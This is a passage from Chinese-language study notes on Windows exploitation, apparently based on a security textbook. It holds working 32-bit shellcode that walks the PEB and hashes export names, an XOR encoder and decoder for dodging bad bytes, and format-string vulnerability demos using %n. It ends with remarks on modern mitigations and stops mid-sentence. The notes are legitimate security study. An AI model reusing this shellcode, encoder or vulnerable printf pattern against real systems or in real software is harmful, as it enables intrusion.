</div></div><div><div><div>16</div></div><div><span>void</span><span> </span><span>main</span><span>()</span></div></div><div><div><div>17</div></div><div><span>{</span></div></div><div><div><div>18</div></div><div><span><span>  </span></span><span>DWORD hash;</span></div></div><div><div><div>19</div></div><div><span><span>  </span></span><span>hash </span><span>=</span><span> </span><span>GetHash</span><span>(</span><span>"MessageBoxA"</span><span>);</span></div></div><div><div><div>20</div></div><div><span>  </span><span>printf</span><span>(</span><span>"Hash is </span><span>%x</span><span>"</span><span>, hash);</span></div></div><div><div><div>21</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>算出来 MessageBoxA 是 <code>0x1e380a6a</code>，ExitProcess 是 <code>0x4fd18963</code>，LoadLibraryA 是 <code>0x0c917432</code>，就是下面压栈的三个值。</p><hr /></section></section></section><section><h3>最终ShellCode(ExpStd0303)<a href="#最终shellcodeexpstd0303"><span>#</span></a></h3><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>int</span><span> main()</span></span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>_asm{</span></div></div><div><div><div>4</div></div><div><span>    </span><span>;flag</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>nop</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>nop</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>nop</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>nop</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>nop</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>cld</span><span>                        </span><span>;clear flag DF</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span>    </span><span>;store hash</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>push</span><span> </span><span>0x1e380a6a</span><span>            </span><span>;hash of MessageBoxA</span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>push</span><span> </span><span>0x4fd18963</span><span>            </span><span>;hash of ExitProcess</span></div></div><div><div><div>16</div></div><div><span><span>    </span></span><span>push</span><span> </span><span>0x0c917432</span><span>            </span><span>;hash of LoadLibraryA</span></div></div><div><div><div>17</div></div><div><span><span>    </span></span><span>mov</span><span> </span><span>esi</span><span>, </span><span>esp</span><span>               </span><span>;esi = addr of first func hash</span></div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>lea</span><span> </span><span>edi</span><span>, [</span><span>esi</span><span>-</span><span>0xc</span><span>]         </span><span>;edi = addr to start writing func</span></div></div><div><div><div>19</div></div><div>
</div></div><div><div><div>20</div></div><div><span>    </span><span>;make some stack space</span></div></div><div><div><div>21</div></div><div><span><span>    </span></span><span>xor</span><span> </span><span>ebx</span><span>, </span><span>ebx</span></div></div><div><div><div>22</div></div><div><span><span>    </span></span><span>mov</span><span> </span><span>bh</span><span>, </span><span>0x04</span></div></div><div><div><div>23</div></div><div><span><span>    </span></span><span>sub</span><span> </span><span>esp</span><span>, </span><span>ebx</span></div></div><div><div><div>24</div></div><div>
</div></div><div><div><div>25</div></div><div><span>    </span><span>;push a pointer to "user32" onto stack</span></div></div><div><div><div>26</div></div><div><span><span>    </span></span><span>mov</span><span> </span><span>bx</span><span>, </span><span>0x3233</span><span>             </span><span>;rest of ebx is null</span></div></div><div><div><div>27</div></div><div><span><span>    </span></span><span>push</span><span> </span><span>ebx</span></div></div><div><div><div>28</div></div><div><span><span>    </span></span><span>push</span><span> </span><span>0x72657375</span></div></div><div><div><div>29</div></div><div><span><span>    </span></span><span>push</span><span> </span><span>esp</span></div></div><div><div><div>30</div></div><div><span><span>    </span></span><span>xor</span><span> </span><span>edx</span><span>, </span><span>edx</span></div></div><div><div><div>31</div></div><div>
</div></div><div><div><div>32</div></div><div><span>    </span><span>;find base addr of kernel32.dll</span></div></div><div><div><div>33</div></div><div><span><span>    </span></span><span>mov</span><span> </span><span>ebx</span><span>, </span><span>fs</span><span>:[</span><span>edx</span><span> + </span><span>0x30</span><span>]   </span><span>;ebx = PEB address</span></div></div><div><div><div>34</div></div><div><span><span>    </span></span><span>mov</span><span> </span><span>ecx</span><span>, [</span><span>ebx</span><span> + </span><span>0x0c</span><span>]      </span><span>;ecx = loader data pointer</span></div></div><div><div><div>35</div></div><div><span><span>    </span></span><span>mov</span><span> </span><span>ecx</span><span>, [</span><span>ecx</span><span> + </span><span>0x1c</span><span>]      </span><span>;ecx = first entry in Initialization order list</span></div></div><div><div><div>36</div></div><div><span><span>    </span></span><span>mov</span><span> </span><span>ecx</span><span>, [</span><span>ecx</span><span>]             </span><span>;ecx = second entry</span></div></div><div><div><div>37</div></div><div><span><span>    </span></span><span>mov</span><span> </span><span>ebp</span><span>, [</span><span>ecx</span><span> + </span><span>0x08</span><span>]      </span><span>;ebp = base address of kernel32.dll</span></div></div><div><div><div>38</div></div><div>
</div></div><div><div><div>39</div></div><div><span>  </span><span>find_lib_functions:</span></div></div><div><div><div>40</div></div><div><span><span>    </span></span><span>lodsd</span><span>                      </span><span>;load next hash into eax and increment esi</span></div></div><div><div><div>41</div></div><div><span><span>    </span></span><span>cmp</span><span> </span><span>eax</span><span>, </span><span>0x1e380a6a</span><span>        </span><span>;hash of MessageBoxA - trigger and LoadLibrary("user32")</span></div></div><div><div><div>42</div></div><div><span><span>    </span></span><span>jne</span><span> find_functions</span></div></div><div><div><div>43</div></div><div><span><span>    </span></span><span>xchg</span><span> </span><span>eax</span><span>, </span><span>ebp</span><span>              </span><span>;save current hash</span></div></div><div><div><div>44</div></div><div><span><span>    </span></span><span>call</span><span> [</span><span>edi</span><span> - </span><span>0x8</span><span>]           </span><span>;LoadLibraryA</span></div></div><div><div><div>45</div></div><div><span><span>    </span></span><span>xchg</span><span> </span><span>eax</span><span>, </span><span>ebp</span><span>              </span><span>;restore current hash and update ebp with base address of user32.dll</span></div></div><div><div><div>46</div></div><div>
</div></div><div><div><div>47</div></div><div><span>  </span><span>find_functions:</span></div></div><div><div><div>48</div></div><div><span><span>    </span></span><span>pushad</span><span>                     </span><span>;preserve registers</span></div></div><div><div><div>49</div></div><div><span><span>    </span></span><span>mov</span><span> </span><span>eax</span><span>, [</span><span>ebp</span><span> + </span><span>0x3c</span><span>]      </span><span>;eax = start of PEheader</span></div></div><div><div><div>50</div></div><div><span><span>    </span></span><span>mov</span><span> </span><span>ecx</span><span>, [</span><span>ebp</span><span> + </span><span>eax</span><span> + </span><span>0x78</span><span>]</span><span>;ecx = relative offset of export table</span></div></div><div><div><div>51</div></div><div><span><span>    </span></span><span>add</span><span> </span><span>ecx</span><span>, </span><span>ebp</span><span>               </span><span>;ecx = absolute addr of export table</span></div></div><div><div><div>52</div></div><div><span><span>    </span></span><span>mov</span><span> </span><span>ebx</span><span>, [</span><span>ecx</span><span> + </span><span>0x20</span><span>]      </span><span>;ebx = relative offset of names</span></div></div><div><div><div>53</div></div><div><span><span>    </span></span><span>add</span><span> </span><span>ebx</span><span>, </span><span>ebp</span><span>               </span><span>;ebx = absolute addr of names table</span></div></div><div><div><div>54</div></div><div><span><span>    </span></span><span>xor</span><span> </span><span>edi</span><span>, </span><span>edi</span><span>               </span><span>;edi will count through the functions</span></div></div><div><div><div>55</div></div><div>
</div></div><div><div><div>56</div></div><div><span>  </span><span>next_function_loop:</span></div></div><div><div><div>57</div></div><div><span><span>    </span></span><span>inc</span><span> </span><span>edi</span><span>                    </span><span>;inc function counter</span></div></div><div><div><div>58</div></div><div><span><span>    </span></span><span>mov</span><span> </span><span>esi</span><span>, [</span><span>ebx</span><span> + </span><span>edi</span><span> * </span><span>4</span><span>]   </span><span>;esi = relative offset of current function name</span></div></div><div><div><div>59</div></div><div><span><span>    </span></span><span>add</span><span> </span><span>esi</span><span>, </span><span>ebp</span><span>               </span><span>;esi = absolute addr of current function name</span></div></div><div><div><div>60</div></div><div><span><span>    </span></span><span>cdq</span><span>                        </span><span>;edx will hold hash (we know eax is small)</span></div></div><div><div><div>61</div></div><div>
</div></div><div><div><div>62</div></div><div><span>  </span><span>hash_loop:</span></div></div><div><div><div>63</div></div><div><span><span>    </span></span><span>movsx</span><span> </span><span>eax</span><span>, </span><span>byte</span><span> ptr[</span><span>esi</span><span>]</span></div></div><div><div><div>64</div></div><div><span><span>    </span></span><span>cmp</span><span> </span><span>al</span><span>, </span><span>ah</span></div></div><div><div><div>65</div></div><div><span><span>    </span></span><span>jz</span><span> compare_hash</span></div></div><div><div><div>66</div></div><div><span><span>    </span></span><span>ror</span><span> </span><span>edx</span><span>, </span><span>7</span></div></div><div><div><div>67</div></div><div><span><span>    </span></span><span>add</span><span> </span><span>edx</span><span>, </span><span>eax</span></div></div><div><div><div>68</div></div><div><span><span>    </span></span><span>inc</span><span> </span><span>esi</span></div></div><div><div><div>69</div></div><div><span><span>    </span></span><span>jmp</span><span> hash_loop</span></div></div><div><div><div>70</div></div><div>
</div></div><div><div><div>71</div></div><div><span>  </span><span>compare_hash:</span></div></div><div><div><div>72</div></div><div><span><span>    </span></span><span>cmp</span><span> </span><span>edx</span><span>, [</span><span>esp</span><span> + </span><span>0x1c</span><span>]      </span><span>;compare to the requested hash(saved on stack from pushad)</span></div></div><div><div><div>73</div></div><div><span><span>    </span></span><span>jnz</span><span> next_function_loop</span></div></div><div><div><div>74</div></div><div><span><span>    </span></span><span>mov</span><span> </span><span>ebx</span><span>, [</span><span>ecx</span><span> + </span><span>0x24</span><span>]      </span><span>;ebx = relative offset of ordinals table</span></div></div><div><div><div>75</div></div><div><span><span>    </span></span><span>add</span><span> </span><span>ebx</span><span>, </span><span>ebp</span><span>               </span><span>;ebx = absolute addr of ordinals table</span></div></div><div><div><div>76</div></div><div><span><span>    </span></span><span>mov</span><span> </span><span>di</span><span>, [</span><span>ebx</span><span> + </span><span>2</span><span> * </span><span>edi</span><span>]    </span><span>;di = ordinal number of matched function</span></div></div><div><div><div>77</div></div><div><span><span>    </span></span><span>mov</span><span> </span><span>ebx</span><span>, [</span><span>ecx</span><span> + </span><span>0x1c</span><span>]      </span><span>;ebx = relative offset of address table</span></div></div><div><div><div>78</div></div><div><span><span>    </span></span><span>add</span><span> </span><span>ebx</span><span>, </span><span>ebp</span><span>               </span><span>;ebx = absolute addr of address table</span></div></div><div><div><div>79</div></div><div><span><span>    </span></span><span>add</span><span> </span><span>ebp</span><span>, [</span><span>ebx</span><span> + </span><span>4</span><span> * </span><span>edi</span><span>]   </span><span>;add to ebp(base addr of module) the relative offset of matched function</span></div></div><div><div><div>80</div></div><div><span><span>    </span></span><span>xchg</span><span> </span><span>eax</span><span>, </span><span>ebp</span><span>              </span><span>;move func addr into eax</span></div></div><div><div><div>81</div></div><div><span><span>    </span></span><span>pop</span><span> </span><span>edi</span><span>                    </span><span>;edi is last onto stack in pushad</span></div></div><div><div><div>82</div></div><div><span><span>    </span></span><span>stosd</span><span>                      </span><span>;write function addr to [edi] and increment edi</span></div></div><div><div><div>83</div></div><div><span><span>    </span></span><span>push</span><span> </span><span>edi</span></div></div><div><div><div>84</div></div><div><span><span>    </span></span><span>popad</span><span>                      </span><span>;restore registers and loop until we reach end of last hash</span></div></div><div><div><div>85</div></div><div><span><span>    </span></span><span>cmp</span><span> </span><span>eax</span><span>, </span><span>0x1e380a6a</span></div></div><div><div><div>86</div></div><div><span><span>    </span></span><span>jne</span><span> find_lib_functions</span></div></div><div><div><div>87</div></div><div>
</div></div><div><div><div>88</div></div><div><span>  </span><span>function_call:</span></div></div><div><div><div>89</div></div><div><span><span>    </span></span><span>xor</span><span> </span><span>ebx</span><span>, </span><span>ebx</span></div></div><div><div><div>90</div></div><div><span><span>    </span></span><span>push</span><span> </span><span>ebx</span><span>                   </span><span>;cut string</span></div></div><div><div><div>91</div></div><div><span><span>    </span></span><span>push</span><span> </span><span>0x74736577</span></div></div><div><div><div>92</div></div><div><span><span>    </span></span><span>push</span><span> </span><span>0x6c696166</span><span>            </span><span>;push failwest</span></div></div><div><div><div>93</div></div><div><span><span>    </span></span><span>mov</span><span> </span><span>eax</span><span>, </span><span>esp</span><span>               </span><span>;load address of failwest</span></div></div><div><div><div>94</div></div><div><span><span>    </span></span><span>push</span><span> </span><span>ebx</span></div></div><div><div><div>95</div></div><div><span><span>    </span></span><span>push</span><span> </span><span>eax</span></div></div><div><div><div>96</div></div><div><span><span>    </span></span><span>push</span><span> </span><span>eax</span></div></div><div><div><div>97</div></div><div><span><span>    </span></span><span>push</span><span> </span><span>ebx</span></div></div><div><div><div>98</div></div><div><span><span>    </span></span><span>call</span><span> [</span><span>edi</span><span> - </span><span>0x4</span><span>]           </span><span>;call MessageBoxA</span></div></div><div><div><div>99</div></div><div><span><span>    </span></span><span>push</span><span> </span><span>ebx</span></div></div><div><div><div>100</div></div><div><span><span>    </span></span><span>call</span><span> [</span><span>edi</span><span> - </span><span>0x8</span><span>]           </span><span>;call ExitProcess</span></div></div><div><div><div>101</div></div><div>
</div></div><div><div><div>102</div></div><div>
</div></div><div><div><div>103</div></div><div><span>    </span><span>;flag</span></div></div><div><div><div>104</div></div><div><span><span>    </span></span><span>nop</span></div></div><div><div><div>105</div></div><div><span><span>    </span></span><span>nop</span></div></div><div><div><div>106</div></div><div><span><span>    </span></span><span>nop</span></div></div><div><div><div>107</div></div><div><span><span>    </span></span><span>nop</span></div></div><div><div><div>108</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>109</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>这段汇编我第一次抄的时候抄错了三处（<code>[ebx + 0x1c]</code>、<code>[ebp + edi * 4]</code>、<code>mov ebx, ebp</code>），后面几篇里用的机器码一直是对的，这次对着机器码反汇编一遍改了过来。</p><hr /></section></section>
<section><h2>ShellCode编码<a href="#shellcode编码"><span>#</span></a></h2><p>shellcode 里不能有 <code>0x00</code>，有时候还要躲开别的坏字符，最简单的办法就是把它编码一下，前面挂一个小小的解码器。</p><section><h3>异或编码<a href="#异或编码"><span>#</span></a></h3><section><h4>注意事项<a href="#注意事项"><span>#</span></a></h4><ul>
<li>在选取编码字节时，不可与已有字节相同，否则会出现0</li>
<li>可以使用多个不同编码字节对不同区域编码，但会增加复杂度</li>
<li>可以对shellcode进行多轮编码</li>
</ul></section><section><h4>实现代码(ExpStd0401)<a href="#实现代码expstd0401"><span>#</span></a></h4><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>void</span><span> </span><span>encoder</span><span>(</span><span>char*</span><span><span> </span><span>input</span><span>, </span></span><span>unsigned</span><span> </span><span>char</span><span><span> </span><span>key</span><span>, </span></span><span>int</span><span><span> </span><span>display_flag</span><span>)</span></span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span>    </span><span>int</span><span> </span><span>i</span><span> </span><span>=</span><span> </span><span>0</span><span>, </span><span>len</span><span> </span><span>=</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>4</div></div><div><span>    </span><span>FILE</span><span>*</span><span> </span><span>fp</span><span>;</span></div></div><div><div><div>5</div></div><div><span>    </span><span>unsigned</span><span> </span><span>char</span><span> </span><span>*</span><span> </span><span>output</span><span>;</span></div></div><div><div><div>6</div></div><div><span>    </span><span>len</span><span> </span><span>=</span><span> </span><span>strlen</span><span>(</span><span>input</span><span>);</span></div></div><div><div><div>7</div></div><div><span>    </span><span>output</span><span> </span><span>=</span><span> (</span><span>unsigned</span><span> </span><span>char*</span><span>)</span><span>malloc</span><span>(</span><span>len</span><span> </span><span>+</span><span> </span><span>1</span><span>);</span></div></div><div><div><div>8</div></div><div><span>    </span><span>if</span><span>(</span><span>!</span><span>output</span><span>)</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>10</div></div><div><span>        </span><span>printf</span><span>(</span><span>"memory error!</span><span>\n</span><span>"</span><span>);</span></div></div><div><div><div>11</div></div><div><span>        </span><span>exit</span><span>(</span><span>0</span><span>);</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>// encode shellcode</span></div></div><div><div><div>15</div></div><div><span>    </span><span>for</span><span>(</span><span>i</span><span> </span><span>=</span><span> </span><span>0</span><span>; </span><span>i</span><span> </span><span>&lt;</span><span> </span><span>len</span><span>; </span><span>i</span><span>++</span><span>)</span></div></div><div><div><div>16</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>17</div></div><div><span>        </span><span>output</span><span>[</span><span>i</span><span>] </span><span>=</span><span> </span><span>input</span><span>[</span><span>i</span><span>] </span><span>^</span><span> </span><span>key</span><span>;</span></div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>19</div></div><div><span>    </span><span>if</span><span>(</span><span>!</span><span>(</span><span>fp</span><span>=</span><span>fopen</span><span>(</span><span>"encode.txt"</span><span>, </span><span>"w+"</span><span>)))</span></div></div><div><div><div>20</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>21</div></div><div><span>        </span><span>printf</span><span>(</span><span>"output file create error!"</span><span>);</span></div></div><div><div><div>22</div></div><div><span>        </span><span>exit</span><span>(</span><span>0</span><span>);</span></div></div><div><div><div>23</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>24</div></div><div><span>    </span><span>fprintf</span><span>(</span><span>fp</span><span>, </span><span>"</span><span>\"</span><span>"</span><span>);</span></div></div><div><div><div>25</div></div><div><span>    </span><span>for</span><span>(</span><span>i</span><span> </span><span>=</span><span> </span><span>0</span><span>; </span><span>i</span><span>&lt;</span><span> </span><span>len</span><span>; </span><span>i</span><span>++</span><span>)</span></div></div><div><div><div>26</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>27</div></div><div><span>        </span><span>fprintf</span><span>(</span><span>fp</span><span>, </span><span>"</span><span>\\</span><span>x</span><span>%0.2x</span><span>"</span><span>, </span><span>output</span><span>[</span><span>i</span><span>]);</span></div></div><div><div><div>28</div></div><div><span>        </span><span>if</span><span>((</span><span>i</span><span> </span><span>+</span><span> </span><span>1</span><span>) </span><span>%</span><span> </span><span>16</span><span> </span><span>==</span><span> </span><span>0</span><span>)</span></div></div><div><div><div>29</div></div><div><span><span>        </span></span><span>{</span></div></div><div><div><div>30</div></div><div><span>            </span><span>fprintf</span><span>(</span><span>fp</span><span>, </span><span>"</span><span>\"\n\"</span><span>"</span><span>);</span></div></div><div><div><div>31</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>32</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>33</div></div><div><span>    </span><span>fprintf</span><span>(</span><span>fp</span><span>, </span><span>"</span><span>\"</span><span>;"</span><span>);</span></div></div><div><div><div>34</div></div><div><span>    </span><span>fclose</span><span>(</span><span>fp</span><span>);</span></div></div><div><div><div>35</div></div><div><span>    </span><span>printf</span><span>(</span><span>"dump the encoded shellcode to encode.txt OK!</span><span>\n</span><span>"</span><span>);</span></div></div><div><div><div>36</div></div><div><span>    </span><span>if</span><span>(</span><span>display_flag</span><span>)</span></div></div><div><div><div>37</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>38</div></div><div><span>        </span><span>for</span><span>(</span><span>i</span><span> </span><span>=</span><span> </span><span>0</span><span>; </span><span>i</span><span> </span><span>&lt;</span><span> </span><span>len</span><span>; </span><span>i</span><span>++</span><span>)</span></div></div><div><div><div>39</div></div><div><span><span>        </span></span><span>{</span></div></div><div><div><div>40</div></div><div><span>            </span><span>printf</span><span>(</span><span>"</span><span>%0.2x</span><span> "</span><span>, </span><span>output</span><span>[</span><span>i</span><span>]);</span></div></div><div><div><div>41</div></div><div><span>            </span><span>if</span><span>((</span><span>i</span><span> </span><span>+</span><span> </span><span>1</span><span>) </span><span>%</span><span> </span><span>16</span><span> </span><span>==</span><span> </span><span>0</span><span>)</span></div></div><div><div><div>42</div></div><div><span><span>            </span></span><span>{</span></div></div><div><div><div>43</div></div><div><span>                </span><span>printf</span><span>(</span><span>"</span><span>\n</span><span>"</span><span>);</span></div></div><div><div><div>44</div></div><div><span><span>            </span></span><span>}</span></div></div><div><div><div>45</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>46</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>47</div></div><div><span>    </span><span>free</span><span>(</span><span>output</span><span>);</span></div></div><div><div><div>48</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>解码代码(ExpStd0402)<a href="#解码代码expstd0402"><span>#</span></a></h4><ul>
<li>解码器与shellcode联合执行</li>
<li>默认EAX在shellcode开始时对准shellcode起始位置</li>
<li>shellcode最后一个字节为0x90</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>void main()</span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>__asm</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>add</span><span> </span><span>eax</span><span>, </span><span>0x14</span><span>            </span><span>;越过decoder(正好0x14字节)记录shellcode起始地址</span></div></div><div><div><div>6</div></div><div><span><span>        </span></span><span>xor</span><span> </span><span>ecx</span><span>, </span><span>ecx</span></div></div><div><div><div>7</div></div><div><span>    </span><span>decode_loop:</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>mov</span><span> </span><span>bl</span><span>, [</span><span>eax</span><span> + </span><span>ecx</span><span>]</span></div></div><div><div><div>9</div></div><div><span><span>        </span></span><span>xor</span><span> </span><span>bl</span><span>, </span><span>0x44</span><span>             </span><span>;用0x44作为key</span></div></div><div><div><div>10</div></div><div><span><span>        </span></span><span>mov</span><span> [</span><span>eax</span><span> + </span><span>ecx</span><span>], </span><span>bl</span></div></div><div><div><div>11</div></div><div><span><span>        </span></span><span>inc</span><span> </span><span>ecx</span></div></div><div><div><div>12</div></div><div><span><span>        </span></span><span>cmp</span><span> </span><span>bl</span><span>, </span><span>0x90</span><span>             </span><span>;末尾放一个0x90作为结束符</span></div></div><div><div><div>13</div></div><div><span><span>        </span></span><span>jne</span><span> decode_loop</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>15</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>ShellCode减少体积<a href="#shellcode减少体积"><span>#</span></a></h3><section><h4>方法<a href="#方法"><span>#</span></a></h4><ul>
<li>挑选短指令
<ul>
<li><code>xchg eax, reg</code>   ;交换<code>eax</code>和其它寄存器的值</li>
<li><code>lodsb</code>           ;把<code>esi</code>指向的一个<code>byte</code>装入<code>al</code>，并增加<code>esi</code></li>
<li><code>lodsd</code>           ;把<code>esi</code>指向的一个<code>dword</code>装入<code>eax</code>，并且增加<code>esi</code></li>
<li><code>stosd</code>           ;将<code>eax</code>的内容复制到<code>edi</code>的内存地址中，每复制四个字节，<code>edi</code>就加<code>0x4</code>，配合<code>rep</code>时<code>ecx</code>为次数</li>
<li><code>stosb</code>           ;将<code>al</code>的内容复制到<code>edi</code>的内存地址中，每复制一个字节，<code>edi</code>就加<code>0x1</code>，配合<code>rep</code>时<code>ecx</code>为次数</li>
<li><code>pushad/popad</code>    ;从栈中存储/恢复所有寄存器的值</li>
<li><code>cdq</code>             ;用<code>edx</code>把<code>eax</code>扩展成四字，在<code>eax&lt;0x80000000</code>时可用作<code>mov edx, 0</code></li>
</ul>
</li>
<li>复合指令，合并使用指令</li>
<li>API参数压栈前将栈空间一片区域置为0，压栈时只要压入非0参数即可</li>
<li>代码当数据用，数据当代码用</li>
<li>栈顶之上数据若有用，抬高栈顶保护它以便以后使用</li>
<li>调用API时有些寄存器总是被保存在栈中，但是大多数函数运行时不会使用EBP，因此可以用EBP保存数据</li>
<li>HASH算法存储API</li>
</ul></section><section><h4>选择适当的HASH算法<a href="#选择适当的hash算法"><span>#</span></a></h4><ul>
<li>8bit最多表示256个不同的字符，不可避免会有碰撞，但是如果所需函数位于碰撞的第一个，那么也可以使用</li>
<li>即碰撞是可以部分容忍的</li>
</ul><hr /></section></section></section>
<section><h2>格式化串漏洞<a href="#格式化串漏洞"><span>#</span></a></h2><p>最后顺手记一下另一种能改内存的漏洞，它和溢出不一样，不用越界写。</p><section><h3>printf中的缺陷<a href="#printf中的缺陷"><span>#</span></a></h3><blockquote><p>例子</p></blockquote><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#include</span><span> </span><span>"stdio.h"</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>void</span><span> </span><span>main</span><span>()</span></div></div><div><div><div>4</div></div><div><span>{</span></div></div><div><div><div>5</div></div><div><span>    </span><span>int</span><span> </span><span>a</span><span> </span><span>=</span><span> </span><span>44</span><span>,</span><span>b</span><span> </span><span>=</span><span> </span><span>77</span><span>;</span></div></div><div><div><div>6</div></div><div><span>    </span><span>printf</span><span>(</span><span>"a=</span><span>%d</span><span>, b=</span><span>%d</span><span>\n</span><span>"</span><span>,</span><span>a</span><span>,</span><span>b</span><span>);</span></div></div><div><div><div>7</div></div><div><span>    </span><span>printf</span><span>(</span><span>"a=</span><span>%d</span><span>, b=</span><span>%d</span><span>\n</span><span>"</span><span>);</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>上述代码中第二个调用缺少了输出数据的变量列表</li>
<li>然而第二次调用没有引起编译错误，程序正常执行</li>
</ul></section><section><h3>用printf读取内存数据<a href="#用printf读取内存数据"><span>#</span></a></h3><blockquote><p>例子</p></blockquote><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#include</span><span> </span><span>"stdio.h"</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>int</span><span> </span><span>main</span><span>(</span><span>int</span><span><span> </span><span>argc</span><span>, </span></span><span>char</span><span> </span><span>**</span><span><span> </span><span>argv</span><span>)</span></span></div></div><div><div><div>4</div></div><div><span>{</span></div></div><div><div><div>5</div></div><div><span>    </span><span>printf</span><span>(</span><span>argv</span><span>[</span><span>1</span><span>]);</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>当我们向程序传入普通字符串，得到普通字符串</li>
<li>但是如果带有格式控制符，可以读出栈中的数据</li>
</ul></section><section><h3>用printf向内存中写数据<a href="#用printf向内存中写数据"><span>#</span></a></h3><blockquote><p>例子</p></blockquote><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#include</span><span> </span><span>"stdio.h"</span></div></div><div><div><div>2</div></div><div><span>int</span><span> </span><span>main</span><span>(</span><span>int</span><span><span> </span><span>argc</span><span>, </span></span><span>char</span><span> </span><span>**</span><span><span> </span><span>argv</span><span>)</span></span></div></div><div><div><div>3</div></div><div><span>{</span></div></div><div><div><div>4</div></div><div><span>    </span><span>int</span><span> </span><span>len_print</span><span> </span><span>=</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>5</div></div><div><span>    </span><span>printf</span><span>(</span><span>"before write: length=</span><span>%d</span><span>\n</span><span>"</span><span>, </span><span>len_print</span><span>);</span></div></div><div><div><div>6</div></div><div><span>    </span><span>printf</span><span>(</span><span>"hello:</span><span>%d%n</span><span>\n</span><span>"</span><span>,</span><span>len_print</span><span>, </span><span>&amp;</span><span>len_print</span><span>);</span></div></div><div><div><div>7</div></div><div><span>    </span><span>printf</span><span>(</span><span>"after write: length=</span><span>%d</span><span>\n</span><span>"</span><span>, </span><span>len_print</span><span>);</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>%n控制符计算出了输出的字符串的长度，然后将它写回了len_print变量中</li>
</ul><hr /></section></section>
<section><h2>今天再看<a href="#今天再看"><span>#</span></a></h2><p>这一篇里的东西，原理今天全都还对，但实验步骤在现在的 Windows 上基本做不出来了。</p><p>固定地址是第一个没了的。Vista 有了 ASLR，现在 MSVC 链接器默认就开 <code>/DYNAMICBASE</code>，<code>0x77D29353</code> 这种写死的 <code>jmp esp</code> 地址换一次开机就不对了，栈也不再总在 <code>0x0012XXXX</code>。栈本身默认不可执行（DEP），跳到栈上的 shellcode 直接触发访问违例。函数里有数组的话编译器还会插 GS cookie，返回之前先检查一遍。这几样后面几篇会一个一个讲。</p><p>改返回地址这条路，现在还多了硬件这一关。Intel CET 的影子栈会在 CPU 里另存一份返回地址，<code>ret</code> 时两边对不上就直接报异常。Windows 上叫 Hardware-enforced Stack Protection，只对用 <code>/CETCOMPAT</code> 链接、并且跑在支持 CET 的 CPU 上的 64 位进程生效，浏览器这类高价值目标早就开了。</p><p>PEB walk 反而一点没过时。64 位下 TEB 在 <code>GS</code> 段，PEB 在 <code>gs:[0x60]</code>，Ldr 在 PEB 的 <code>+0x18</code>，换了偏移，思路完全一样。今天的 shellcode 更常见的是不数位置、直接比模块名（BaseDllName）去认 kernel32，原因就是上面说的 Win7 多出来的 KernelBase。数位置得随着版本改，比名字要稳。也正因为几乎所有 shellcode 都要这么走一遍，“读 PEB-&gt;Ldr、遍历导出表、算函数名哈希”成了 EDR 和杀软重点盯的行为。</p><p><code>%n</code> 在 MSVC 的 CRT 里从 VS2005 起默认就是禁用的，碰到它会调用 invalid parameter handler，要用得先 <code>_set_printf_count_output</code> 打开。glibc 还支持 <code>%n</code>，不过开了 <code>_FORTIFY_SOURCE=2</code> 以后，格式串在可写内存里还带 <code>%n</code> 会直接报 <code>%n in writable segment detected</code> 退出。不过上面那个 